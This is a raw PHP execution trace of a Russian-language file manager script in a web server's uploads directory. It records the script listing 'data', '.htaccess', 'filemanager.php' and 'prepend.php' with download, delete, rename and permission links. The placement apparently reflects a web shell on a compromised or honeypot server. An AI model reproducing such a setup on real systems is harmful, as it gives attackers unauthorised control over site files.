1		A						/var/www/html/uploads/filemanager.php	1472	$link = '<a href="?fm=true&path=/var/www/html/uploads/data" title="Показать data"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> data</a>'
2	95	0	0.008261	957344	fm_root	1		/var/www/html/uploads/filemanager.php	1473	1	'data'
2	95	1	0.008277	957344
2	95	R			FALSE
2	96	0	0.008296	957344	__	1		/var/www/html/uploads/filemanager.php	1473	1	'Compress'
2	96	1	0.008314	957344
2	96	R			'Сжать'
2	97	0	0.008332	957392	__	1		/var/www/html/uploads/filemanager.php	1473	1	'Archiving'
2	97	1	0.008350	957392
2	97	R			'Архивировать'
2	98	0	0.008369	957448	fm_link	1		/var/www/html/uploads/filemanager.php	1473	4	'zip'	'/var/www/html/uploads/data'	'Сжать&nbsp;zip'	'Архивировать data'
3	99	0	0.008394	957504	base64_encode	0		/var/www/html/uploads/filemanager.php	532	1	'/var/www/html/uploads/data'
3	99	1	0.008412	957616
3	99	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
2	98	1	0.008434	957608
2	98	R			'&nbsp;&nbsp;<a href="?zip=L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=" title="Архивировать data">Сжать&nbsp;zip</a>'
1		A						/var/www/html/uploads/filemanager.php	1473	$loadlink = '&nbsp;&nbsp;<a href="?zip=L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=" title="Архивировать data">Сжать&nbsp;zip</a>'
2	100	0	0.008486	957504	fm_root	1		/var/www/html/uploads/filemanager.php	1474	1	'data'
2	100	1	0.008503	957504
2	100	R			FALSE
2	101	0	0.008521	957504	__	1		/var/www/html/uploads/filemanager.php	1474	1	'Compress'
2	101	1	0.008539	957504
2	101	R			'Сжать'
2	102	0	0.008557	957552	__	1		/var/www/html/uploads/filemanager.php	1474	1	'Archiving'
2	102	1	0.008574	957552
2	102	R			'Архивировать'
2	103	0	0.008593	957608	fm_link	1		/var/www/html/uploads/filemanager.php	1474	4	'gz'	'/var/www/html/uploads/data'	'Сжать&nbsp;.tar.gz'	'Архивировать data'
3	104	0	0.008616	957664	base64_encode	0		/var/www/html/uploads/filemanager.php	532	1	'/var/www/html/uploads/data'
3	104	1	0.008633	957776
3	104	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
2	103	1	0.008655	957768
2	103	R			'&nbsp;&nbsp;<a href="?gz=L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=" title="Архивировать data">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/filemanager.php	1474	$arlink = '&nbsp;&nbsp;<a href="?gz=L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=" title="Архивировать data">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/filemanager.php	1475	$style = 'row2'
2	105	0	0.008727	957664	fm_root	1		/var/www/html/uploads/filemanager.php	1476	1	'data'
2	105	1	0.008745	957664
2	105	R			FALSE
2	106	0	0.008762	957664	__	1		/var/www/html/uploads/filemanager.php	1476	1	'Are you sure you want to delete this directory (recursively)?'
2	106	1	0.008783	957664
2	106	R			'Вы уверены, что хотите удалить эту папку (рекурсивно)?'
1		A						/var/www/html/uploads/filemanager.php	1476	$alert = 'onClick="if(confirm(\'Вы уверены, что хотите удалить эту папку (рекурсивно)?\\n /data\')) document.location.href = \'?fm=true&delete=data&path=/var/www/html/uploads/\'"'
2	107	0	0.008837	957920	fm_root	1		/var/www/html/uploads/filemanager.php	1493	1	'data'
2	107	1	0.008854	957920
2	107	R			FALSE
2	108	0	0.008871	957920	__	1		/var/www/html/uploads/filemanager.php	1493	1	'Delete'
2	108	1	0.008889	957920
2	108	R			'Удалить'
2	109	0	0.008908	958240	__	1		/var/www/html/uploads/filemanager.php	1493	1	'Delete'
2	109	1	0.008924	958240
2	109	R			'Удалить'
1		A						/var/www/html/uploads/filemanager.php	1493	$deletelink = '<a href="#" title="Удалить data" onClick="if(confirm(\'Вы уверены, что хотите удалить эту папку (рекурсивно)?\\n /data\')) document.location.href = \'?fm=true&delete=data&path=/var/www/html/uploads/\'">Удалить</a>'
2	110	0	0.008973	958240	fm_root	1		/var/www/html/uploads/filemanager.php	1494	1	'data'
2	110	1	0.008990	958240
2	110	R			FALSE
2	111	0	0.009008	958336	__	1		/var/www/html/uploads/filemanager.php	1494	1	'Rename'
2	111	1	0.009025	958336
2	111	R			'Переименовать'
2	112	0	0.009044	958368	__	1		/var/www/html/uploads/filemanager.php	1494	1	'Rename'
2	112	1	0.009062	958368
2	112	R			'Переименовать'
1		A						/var/www/html/uploads/filemanager.php	1494	$renamelink = '<a href="?fm=true&rename=data&path=/var/www/html/uploads/" title="Переименовать data">Переименовать</a>'
2	113	0	0.009103	958496	__	1		/var/www/html/uploads/filemanager.php	1495	1	'Rights'
2	113	1	0.009120	958496
2	113	R			'Права'
2	114	0	0.009138	958512	fm_rights_string	1		/var/www/html/uploads/filemanager.php	1495	2	'/var/www/html/uploads/data'	???
3	115	0	0.009157	958512	fileperms	0		/var/www/html/uploads/filemanager.php	379	1	'/var/www/html/uploads/data'
3	115	1	0.009175	958552
3	115	R			16895
2		A						/var/www/html/uploads/filemanager.php	379	$perms = 16895
2		A						/var/www/html/uploads/filemanager.php	380	$info = ''
2		A						/var/www/html/uploads/filemanager.php	396	$info = 'd'
2		A						/var/www/html/uploads/filemanager.php	410	$info .= 'r'
2		A						/var/www/html/uploads/filemanager.php	411	$info .= 'w'
2		A						/var/www/html/uploads/filemanager.php	414	$info .= 'x'
2		A						/var/www/html/uploads/filemanager.php	417	$info .= 'r'
2		A						/var/www/html/uploads/filemanager.php	418	$info .= 'w'
2		A						/var/www/html/uploads/filemanager.php	421	$info .= 'x'
2		A						/var/www/html/uploads/filemanager.php	424	$info .= 'r'
2		A						/var/www/html/uploads/filemanager.php	425	$info .= 'w'
2		A						/var/www/html/uploads/filemanager.php	428	$info .= 'x'
2	114	1	0.009348	958552
2	114	R			'drwxrwxrwx'
1		A						/var/www/html/uploads/filemanager.php	1495	$rightstext = '<a href="?fm=true&rights=data&path=/var/www/html/uploads/" title="Права data">drwxrwxrwx</a>'
2	116	0	0.009389	958528	gmdate	0		/var/www/html/uploads/filemanager.php	1500	2	'Y-m-d H:i:s'	1676250335
2	116	1	0.009409	958856
2	116	R			'2023-02-13 01:05:35'
1		A						/var/www/html/uploads/filemanager.php	1467	$filename = '/var/www/html/uploads/.htaccess'
2	117	0	0.009620	958528	stat	0		/var/www/html/uploads/filemanager.php	1468	1	'/var/www/html/uploads/.htaccess'
2	117	1	0.009642	960320
2	117	R			[0 => 2049, 1 => 524473, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676250335, 9 => 1676250335, 10 => 1676250335, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524473, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676250335, 'mtime' => 1676250335, 'ctime' => 1676250335, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/filemanager.php	1468	$filedata = [0 => 2049, 1 => 524473, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676250335, 9 => 1676250335, 10 => 1676250335, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524473, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676250335, 'mtime' => 1676250335, 'ctime' => 1676250335, 'blksize' => 4096, 'blocks' => 8]
2	118	0	0.009741	958528	is_dir	0		/var/www/html/uploads/filemanager.php	1469	1	'/var/www/html/uploads/.htaccess'
2	118	1	0.009763	958568
2	118	R			FALSE
2	119	0	0.009782	958528	getimagesize	0		/var/www/html/uploads/filemanager.php	1479	1	'/var/www/html/uploads/.htaccess'
2	119	1	0.009831	958568
2	119	R			FALSE
2	120	0	0.009851	958624	__	1		/var/www/html/uploads/filemanager.php	1483	1	'Edit'
2	120	1	0.009870	958624
2	120	R			'Редактировать'
1		A						/var/www/html/uploads/filemanager.php	1483	$link = '<a href="?fm=true&edit=.htaccess&path=/var/www/html/uploads/" title="Редактировать"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> .htaccess</a>'
2	121	0	0.009914	958528	explode	0		/var/www/html/uploads/filemanager.php	1484	2	'.'	'.htaccess'
2	121	1	0.009935	959016
2	121	R			[0 => '', 1 => 'htaccess']
1		A						/var/www/html/uploads/filemanager.php	1484	$e_arr = [0 => '', 1 => 'htaccess']
2	122	0	0.009965	958968	end	0		/var/www/html/uploads/filemanager.php	1485	1	[0 => '', 1 => 'htaccess']
2	122	1	0.009980	959000
2	122	R			'htaccess'
1		A						/var/www/html/uploads/filemanager.php	1485	$ext = 'htaccess'
2	123	0	0.010004	958968	__	1		/var/www/html/uploads/filemanager.php	1486	1	'Download'
2	123	1	0.010019	958968
2	123	R			'Скачать'
2	124	0	0.010038	958968	__	1		/var/www/html/uploads/filemanager.php	1486	1	'Download'
2	124	1	0.010056	958968
2	124	R			'Скачать'
2	125	0	0.010073	959024	fm_link	1		/var/www/html/uploads/filemanager.php	1486	4	'download'	'/var/www/html/uploads/.htaccess'	'Скачать'	'Скачать .htaccess'
3	126	0	0.010096	959080	base64_encode	0		/var/www/html/uploads/filemanager.php	532	1	'/var/www/html/uploads/.htaccess'
3	126	1	0.010114	959192
3	126	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
2	125	1	0.010135	959184
2	125	R			'&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==" title="Скачать .htaccess">Скачать</a>'
1		A						/var/www/html/uploads/filemanager.php	1486	$loadlink = '&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==" title="Скачать .htaccess">Скачать</a>'
2	127	0	0.010185	958968	fm_root	1		/var/www/html/uploads/filemanager.php	1489	1	'.htaccess'
2	127	1	0.010203	958968
2	127	R			FALSE
2	128	0	0.010220	958968	__	1		/var/www/html/uploads/filemanager.php	1489	1	'Compress'
2	128	1	0.010238	958968
2	128	R			'Сжать'
2	129	0	0.010257	959016	__	1		/var/www/html/uploads/filemanager.php	1489	1	'Archiving'
2	129	1	0.010275	959016
2	129	R			'Архивировать'
2	130	0	0.010295	959080	fm_link	1		/var/www/html/uploads/filemanager.php	1489	4	'gzfile'	'/var/www/html/uploads/.htaccess'	'Сжать&nbsp;.tar.gz'	'Архивировать .htaccess'
3	131	0	0.010319	959136	base64_encode	0		/var/www/html/uploads/filemanager.php	532	1	'/var/www/html/uploads/.htaccess'
3	131	1	0.010338	959248
3	131	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
2	130	1	0.010361	959272
2	130	R			'&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==" title="Архивировать .htaccess">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/filemanager.php	1489	$arlink = '&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==" title="Архивировать .htaccess">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/filemanager.php	1490	$style = 'row1'
2	132	0	0.010432	959000	__	1		/var/www/html/uploads/filemanager.php	1491	1	'File selected'
2	132	1	0.010451	959000
2	132	R			'Выбран файл'
2	133	0	0.010471	959096	__	1		/var/www/html/uploads/filemanager.php	1491	1	'Are you sure you want to delete this file?'
2	133	1	0.010491	959096
2	133	R			'Вы уверены, что хотите удалить этот файл?'
1		A						/var/www/html/uploads/filemanager.php	1491	$alert = 'onClick="if(confirm(\'Выбран файл: \\n.htaccess. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=.htaccess&path=/var/www/html/uploads/\'"'
2	134	0	0.010554	959000	fm_root	1		/var/www/html/uploads/filemanager.php	1493	1	'.htaccess'
2	134	1	0.010573	959000
2	134	R			FALSE
2	135	0	0.010592	959000	__	1		/var/www/html/uploads/filemanager.php	1493	1	'Delete'
2	135	1	0.010609	959000
2	135	R			'Удалить'
2	136	0	0.010630	959320	__	1		/var/www/html/uploads/filemanager.php	1493	1	'Delete'
2	136	1	0.010647	959320
2	136	R			'Удалить'
1		A						/var/www/html/uploads/filemanager.php	1493	$deletelink = '<a href="#" title="Удалить .htaccess" onClick="if(confirm(\'Выбран файл: \\n.htaccess. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=.htaccess&path=/var/www/html/uploads/\'">Удалить</a>'
2	137	0	0.010699	959000	fm_root	1		/var/www/html/uploads/filemanager.php	1494	1	'.htaccess'
2	137	1	0.010718	959000
2	137	R			FALSE
2	138	0	0.010737	959096	__	1		/var/www/html/uploads/filemanager.php	1494	1	'Rename'
2	138	1	0.010756	959096
2	138	R			'Переименовать'
2	139	0	0.010777	959160	__	1		/var/www/html/uploads/filemanager.php	1494	1	'Rename'
2	139	1	0.010795	959160
2	139	R			'Переименовать'
1		A						/var/www/html/uploads/filemanager.php	1494	$renamelink = '<a href="?fm=true&rename=.htaccess&path=/var/www/html/uploads/" title="Переименовать .htaccess">Переименовать</a>'
2	140	0	0.010837	959128	__	1		/var/www/html/uploads/filemanager.php	1495	1	'Rights'
2	140	1	0.010855	959128
2	140	R			'Права'
2	141	0	0.010874	959160	fm_rights_string	1		/var/www/html/uploads/filemanager.php	1495	2	'/var/www/html/uploads/.htaccess'	???
3	142	0	0.010895	959160	fileperms	0		/var/www/html/uploads/filemanager.php	379	1	'/var/www/html/uploads/.htaccess'
3	142	1	0.010931	959200
3	142	R			33188
2		A						/var/www/html/uploads/filemanager.php	379	$perms = 33188
2		A						/var/www/html/uploads/filemanager.php	380	$info = ''
2		A						/var/www/html/uploads/filemanager.php	390	$info = '-'
2		A						/var/www/html/uploads/filemanager.php	410	$info .= 'r'
2		A						/var/www/html/uploads/filemanager.php	411	$info .= 'w'
2		A						/var/www/html/uploads/filemanager.php	414	$info .= '-'
2		A						/var/www/html/uploads/filemanager.php	417	$info .= 'r'
2		A						/var/www/html/uploads/filemanager.php	418	$info .= '-'
2		A						/var/www/html/uploads/filemanager.php	421	$info .= '-'
2		A						/var/www/html/uploads/filemanager.php	424	$info .= 'r'
2		A						/var/www/html/uploads/filemanager.php	425	$info .= '-'
2		A						/var/www/html/uploads/filemanager.php	428	$info .= '-'
2	141	1	0.011134	959200
2	141	R			'-rw-r--r--'
1		A						/var/www/html/uploads/filemanager.php	1495	$rightstext = '<a href="?fm=true&rights=.htaccess&path=/var/www/html/uploads/" title="Права .htaccess">-rw-r--r--</a>'
2	143	0	0.011181	959064	gmdate	0		/var/www/html/uploads/filemanager.php	1500	2	'Y-m-d H:i:s'	1676250335
2	143	1	0.011204	959392
2	143	R			'2023-02-13 01:05:35'
1		A						/var/www/html/uploads/filemanager.php	1467	$filename = '/var/www/html/uploads/filemanager.php'
2	144	0	0.011242	959072	stat	0		/var/www/html/uploads/filemanager.php	1468	1	'/var/www/html/uploads/filemanager.php'
2	144	1	0.011269	960872
2	144	R			[0 => 2049, 1 => 524475, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 84909, 8 => 1676250335, 9 => 1676250335, 10 => 1676250335, 11 => 4096, 12 => 168, 'dev' => 2049, 'ino' => 524475, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 84909, 'atime' => 1676250335, 'mtime' => 1676250335, 'ctime' => 1676250335, 'blksize' => 4096, 'blocks' => 168]
1		A						/var/www/html/uploads/filemanager.php	1468	$filedata = [0 => 2049, 1 => 524475, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 84909, 8 => 1676250335, 9 => 1676250335, 10 => 1676250335, 11 => 4096, 12 => 168, 'dev' => 2049, 'ino' => 524475, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 84909, 'atime' => 1676250335, 'mtime' => 1676250335, 'ctime' => 1676250335, 'blksize' => 4096, 'blocks' => 168]
2	145	0	0.011354	959080	is_dir	0		/var/www/html/uploads/filemanager.php	1469	1	'/var/www/html/uploads/filemanager.php'
2	145	1	0.011374	959120
2	145	R			FALSE
2	146	0	0.011393	959080	getimagesize	0		/var/www/html/uploads/filemanager.php	1479	1	'/var/www/html/uploads/filemanager.php'
2	146	1	0.011902	959120
2	146	R			FALSE
2	147	0	0.011930	959192	__	1		/var/www/html/uploads/filemanager.php	1483	1	'Edit'
2	147	1	0.011952	959192
2	147	R			'Редактировать'
1		A						/var/www/html/uploads/filemanager.php	1483	$link = '<a href="?fm=true&edit=filemanager.php&path=/var/www/html/uploads/" title="Редактировать"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> filemanager.php</a>'
2	148	0	0.012009	959112	explode	0		/var/www/html/uploads/filemanager.php	1484	2	'.'	'filemanager.php'
2	148	1	0.012030	959632
2	148	R			[0 => 'filemanager', 1 => 'php']
1		A						/var/www/html/uploads/filemanager.php	1484	$e_arr = [0 => 'filemanager', 1 => 'php']
2	149	0	0.012071	959184	end	0		/var/www/html/uploads/filemanager.php	1485	1	[0 => 'filemanager', 1 => 'php']
2	149	1	0.012090	959216
2	149	R			'php'
1		A						/var/www/html/uploads/filemanager.php	1485	$ext = 'php'
2	150	0	0.012125	959144	__	1		/var/www/html/uploads/filemanager.php	1486	1	'Download'
2	150	1	0.012150	959144
2	150	R			'Скачать'
2	151	0	0.012178	959144	__	1		/var/www/html/uploads/filemanager.php	1486	1	'Download'
2	151	1	0.012202	959144
2	151	R			'Скачать'
2	152	0	0.012231	959200	fm_link	1		/var/www/html/uploads/filemanager.php	1486	4	'download'	'/var/www/html/uploads/filemanager.php'	'Скачать'	'Скачать filemanager.php'
3	153	0	0.012261	959256	base64_encode	0		/var/www/html/uploads/filemanager.php	532	1	'/var/www/html/uploads/filemanager.php'
3	153	1	0.012284	959384
3	153	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL2ZpbGVtYW5hZ2VyLnBocA=='
2	152	1	0.012317	959392
2	152	R			'&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzL2ZpbGVtYW5hZ2VyLnBocA==" title="Скачать filemanager.php">Скачать</a>'
1		A						/var/www/html/uploads/filemanager.php	1486	$loadlink = '&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzL2ZpbGVtYW5hZ2VyLnBocA==" title="Скачать filemanager.php">Скачать</a>'
2	154	0	0.012387	959176	fm_root	1		/var/www/html/uploads/filemanager.php	1489	1	'filemanager.php'
2	154	1	0.012412	959176
2	154	R			FALSE
2	155	0	0.012434	959176	__	1		/var/www/html/uploads/filemanager.php	1489	1	'Compress'
2	155	1	0.012455	959176
2	155	R			'Сжать'
2	156	0	0.012479	959224	__	1		/var/www/html/uploads/filemanager.php	1489	1	'Archiving'
2	156	1	0.012500	959224
2	156	R			'Архивировать'
2	157	0	0.012526	959304	fm_link	1		/var/www/html/uploads/filemanager.php	1489	4	'gzfile'	'/var/www/html/uploads/filemanager.php'	'Сжать&nbsp;.tar.gz'	'Архивировать filemanager.php'
3	158	0	0.012556	959360	base64_encode	0		/var/www/html/uploads/filemanager.php	532	1	'/var/www/html/uploads/filemanager.php'
3	158	1	0.012580	959488
3	158	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL2ZpbGVtYW5hZ2VyLnBocA=='
2	157	1	0.012607	959496
2	157	R			'&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzL2ZpbGVtYW5hZ2VyLnBocA==" title="Архивировать filemanager.php">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/filemanager.php	1489	$arlink = '&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzL2ZpbGVtYW5hZ2VyLnBocA==" title="Архивировать filemanager.php">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/filemanager.php	1490	$style = 'row1'
2	159	0	0.012694	959176	__	1		/var/www/html/uploads/filemanager.php	1491	1	'File selected'
2	159	1	0.012718	959176
2	159	R			'Выбран файл'
2	160	0	0.012741	959272	__	1		/var/www/html/uploads/filemanager.php	1491	1	'Are you sure you want to delete this file?'
2	160	1	0.012760	959272
2	160	R			'Вы уверены, что хотите удалить этот файл?'
1		A						/var/www/html/uploads/filemanager.php	1491	$alert = 'onClick="if(confirm(\'Выбран файл: \\nfilemanager.php. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=filemanager.php&path=/var/www/html/uploads/\'"'
2	161	0	0.012821	959176	fm_root	1		/var/www/html/uploads/filemanager.php	1493	1	'filemanager.php'
2	161	1	0.012844	959176
2	161	R			FALSE
2	162	0	0.012869	959176	__	1		/var/www/html/uploads/filemanager.php	1493	1	'Delete'
2	162	1	0.012891	959176
2	162	R			'Удалить'
2	163	0	0.012913	959496	__	1		/var/www/html/uploads/filemanager.php	1493	1	'Delete'
2	163	1	0.012933	959496
2	163	R			'Удалить'
1		A						/var/www/html/uploads/filemanager.php	1493	$deletelink = '<a href="#" title="Удалить filemanager.php" onClick="if(confirm(\'Выбран файл: \\nfilemanager.php. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=filemanager.php&path=/var/www/html/uploads/\'">Удалить</a>'
2	164	0	0.012995	959240	fm_root	1		/var/www/html/uploads/filemanager.php	1494	1	'filemanager.php'
2	164	1	0.013030	959240
2	164	R			FALSE
2	165	0	0.013052	959352	__	1		/var/www/html/uploads/filemanager.php	1494	1	'Rename'
2	165	1	0.013073	959352
2	165	R			'Переименовать'
2	166	0	0.013100	959400	__	1		/var/www/html/uploads/filemanager.php	1494	1	'Rename'
2	166	1	0.013124	959400
2	166	R			'Переименовать'
1		A						/var/www/html/uploads/filemanager.php	1494	$renamelink = '<a href="?fm=true&rename=filemanager.php&path=/var/www/html/uploads/" title="Переименовать filemanager.php">Переименовать</a>'
2	167	0	0.013180	959352	__	1		/var/www/html/uploads/filemanager.php	1495	1	'Rights'
2	167	1	0.013202	959352
2	167	R			'Права'
2	168	0	0.013225	959400	fm_rights_string	1		/var/www/html/uploads/filemanager.php	1495	2	'/var/www/html/uploads/filemanager.php'	???
3	169	0	0.013248	959400	fileperms	0		/var/www/html/uploads/filemanager.php	379	1	'/var/www/html/uploads/filemanager.php'
3	169	1	0.013267	959440
3	169	R			33204
2		A						/var/www/html/uploads/filemanager.php	379	$perms = 33204
2		A						/var/www/html/uploads/filemanager.php	380	$info = ''
2		A						/var/www/html/uploads/filemanager.php	390	$info = '-'
2		A						/var/www/html/uploads/filemanager.php	410	$info .= 'r'
2		A						/var/www/html/uploads/filemanager.php	411	$info .= 'w'
2		A						/var/www/html/uploads/filemanager.php	414	$info .= '-'
2		A						/var/www/html/uploads/filemanager.php	417	$info .= 'r'
2		A						/var/www/html/uploads/filemanager.php	418	$info .= 'w'
2		A						/var/www/html/uploads/filemanager.php	421	$info .= '-'
2		A						/var/www/html/uploads/filemanager.php	424	$info .= 'r'
2		A						/var/www/html/uploads/filemanager.php	425	$info .= '-'
2		A						/var/www/html/uploads/filemanager.php	428	$info .= '-'
2	168	1	0.013493	959440
2	168	R			'-rw-rw-r--'
1		A						/var/www/html/uploads/filemanager.php	1495	$rightstext = '<a href="?fm=true&rights=filemanager.php&path=/var/www/html/uploads/" title="Права filemanager.php">-rw-rw-r--</a>'
2	170	0	0.013545	959240	gmdate	0		/var/www/html/uploads/filemanager.php	1500	2	'Y-m-d H:i:s'	1676250335
2	170	1	0.013569	959568
2	170	R			'2023-02-13 01:05:35'
1		A						/var/www/html/uploads/filemanager.php	1467	$filename = '/var/www/html/uploads/prepend.php'
2	171	0	0.013614	959240	stat	0		/var/www/html/uploads/filemanager.php	1468	1	'/var/www/html/uploads/prepend.php'
2	171	1	0.013644	961032
2	171	R			[0 => 2049, 1 => 524474, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676250335, 9 => 1676250335, 10 => 1676250335, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676250335, 'mtime' => 1676250335, 'ctime' => 1676250335, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/filemanager.php	1468	$filedata = [0 => 2049, 1 => 524474, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676250335, 9 => 1676250335, 10 => 1676250335, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676250335, 'mtime' => 1676250335, 'ctime' => 1676250335, 'blksize' => 4096, 'blocks' => 8]
2	172	0	0.013730	959240	is_dir	0		/var/www/html/uploads/filemanager.php	1469	1	'/var/www/html/uploads/prepend.php'
2	172	1	0.013751	959280
2	172	R			FALSE
2	173	0	0.013773	959240	getimagesize	0		/var/www/html/uploads/filemanager.php	1479	1	'/var/www/html/uploads/prepend.php'
2	173	1	0.013820	959280
2	173	R			FALSE
2	174	0	0.013840	959336	__	1		/var/www/html/uploads/filemanager.php	1483	1	'Edit'
2	174	1	0.013860	959336
2	174	R			'Редактировать'
1		A						/var/www/html/uploads/filemanager.php	1483	$link = '<a href="?fm=true&edit=prepend.php&path=/var/www/html/uploads/" title="Редактировать"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> prepend.php</a>'
2	175	0	0.013907	959208	explode	0		/var/www/html/uploads/filemanager.php	1484	2	'.'	'prepend.php'
2	175	1	0.013927	959720
2	175	R			[0 => 'prepend', 1 => 'php']
1		A						/var/www/html/uploads/filemanager.php	1484	$e_arr = [0 => 'prepend', 1 => 'php']
2	176	0	0.013966	959232	end	0		/var/www/html/uploads/filemanager.php	1485	1	[0 => 'prepend', 1 => 'php']
2	176	1	0.013986	959264
2	176	R			'php'
1		A						/var/www/html/uploads/filemanager.php	1485	$ext = 'php'
2	177	0	0.014018	959200	__	1		/var/www/html/uploads/filemanager.php	1486	1	'Download'
2	177	1	0.014037	959200
2	177	R			'Скачать'
2	178	0	0.014056	959200	__	1		/var/www/html/uploads/filemanager.php	1486	1	'Download'
2	178	1	0.014083	959200
2	178	R			'Скачать'
2	179	0	0.014104	959256	fm_link	1		/var/www/html/uploads/filemanager.php	1486	4	'download'	'/var/www/html/uploads/prepend.php'	'Скачать'	'Скачать prepend.php'
3	180	0	0.014127	959312	base64_encode	0		/var/www/html/uploads/filemanager.php	532	1	'/var/www/html/uploads/prepend.php'
3	180	1	0.014147	959424
3	180	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
2	179	1	0.014171	959416
2	179	R			'&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw" title="Скачать prepend.php">Скачать</a>'
1		A						/var/www/html/uploads/filemanager.php	1486	$loadlink = '&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw" title="Скачать prepend.php">Скачать</a>'
2	181	0	0.014227	959168	fm_root	1		/var/www/html/uploads/filemanager.php	1489	1	'prepend.php'
2	181	1	0.014246	959168
2	181	R			FALSE
2	182	0	0.014265	959168	__	1		/var/www/html/uploads/filemanager.php	1489	1	'Compress'
2	182	1	0.014284	959168
2	182	R			'Сжать'
2	183	0	0.014303	959216	__	1		/var/www/html/uploads/filemanager.php	1489	1	'Archiving'
2	183	1	0.014322	959216
2	183	R			'Архивировать'
2	184	0	0.014343	959280	fm_link	1		/var/www/html/uploads/filemanager.php	1489	4	'gzfile'	'/var/www/html/uploads/prepend.php'	'Сжать&nbsp;.tar.gz'	'Архивировать prepend.php'
3	185	0	0.014368	959336	base64_encode	0		/var/www/html/uploads/filemanager.php	532	1	'/var/www/html/uploads/prepend.php'
3	185	1	0.014388	959448
3	185	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
2	184	1	0.014412	959472
2	184	R			'&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw" title="Архивировать prepend.php">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/filemanager.php	1489	$arlink = '&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw" title="Архивировать prepend.php">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/filemanager.php	1490	$style = 'row1'
2	186	0	0.014486	959168	__	1		/var/www/html/uploads/filemanager.php	1491	1	'File selected'
2	186	1	0.014506	959168
2	186	R			'Выбран файл'
2	187	0	0.014527	959264	__	1		/var/www/html/uploads/filemanager.php	1491	1	'Are you sure you want to delete this file?'
2	187	1	0.014549	959264
2	187	R			'Вы уверены, что хотите удалить этот файл?'
1		A						/var/www/html/uploads/filemanager.php	1491	$alert = 'onClick="if(confirm(\'Выбран файл: \\nprepend.php. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=prepend.php&path=/var/www/html/uploads/\'"'
